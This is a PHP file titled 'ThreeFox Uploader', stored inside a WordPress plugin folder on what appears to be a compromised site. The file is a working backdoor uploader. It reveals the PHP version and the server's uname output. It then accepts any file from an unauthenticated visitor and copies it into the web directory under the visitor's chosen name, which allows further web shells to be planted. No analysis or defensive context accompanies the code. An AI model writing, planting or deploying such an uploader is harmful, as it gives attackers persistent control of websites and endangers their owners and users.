File: /home/storage/c/63/6c/usesambura1/public_html/yr/wp-content/plugins/download-plugin/threefox.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ThreeFox Uploader</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f0f0f0;
margin: 0;
padding: 20px;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
.container {
max-width: 600px;
margin: 20px auto;
background-color: #fff;
padding: 20px;
border-radius: 8px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
}
h1 {
color: #333;
text-align: center;
}
form {
margin-top: 20px;
text-align: center;
}
.input-group {
display: flex;
align-items: center;
justify-content: center;
margin-bottom: 10px;
}
input[type="file"] {
flex: 1;
margin-right: 10px;
}
input[type="submit"] {
background-color: #007bff;
color: #fff;
border: none;
padding: 10px 20px;
border-radius: 4px;
cursor: pointer;
transition: background-color 0.3s ease;
}
input[type="submit"]:hover {
background-color: #0056b3;
}
.message {
margin-top: 20px;
text-align: center;
font-weight: bold;
}
.success {
color: green;
}
.error {
color: red;
}
</style>
</head>
<body>
<div class="container">
<h1>ThreeFox Uploader</h1>
<p><strong>PHP Version:</strong> <?php echo phpversion(); ?></p>
<p><strong>Server Info:</strong> <?php echo php_uname(); ?></p>
<form method="post" enctype="multipart/form-data">
<div class="input-group">
<input type="file" name="zb" required>
<input type="submit" name="upload" value="Upload">
</div>
</form>
<?php
if(isset($_POST['upload'])) {
if(@copy($_FILES['zb']['tmp_name'], $_FILES['zb']['name'])) {
echo '<script>alert("File uploaded successfully.");</script>';
} else {
echo '<script>alert("File upload Failed.");</script>';
}
}
?>
</div>
</body>
</html>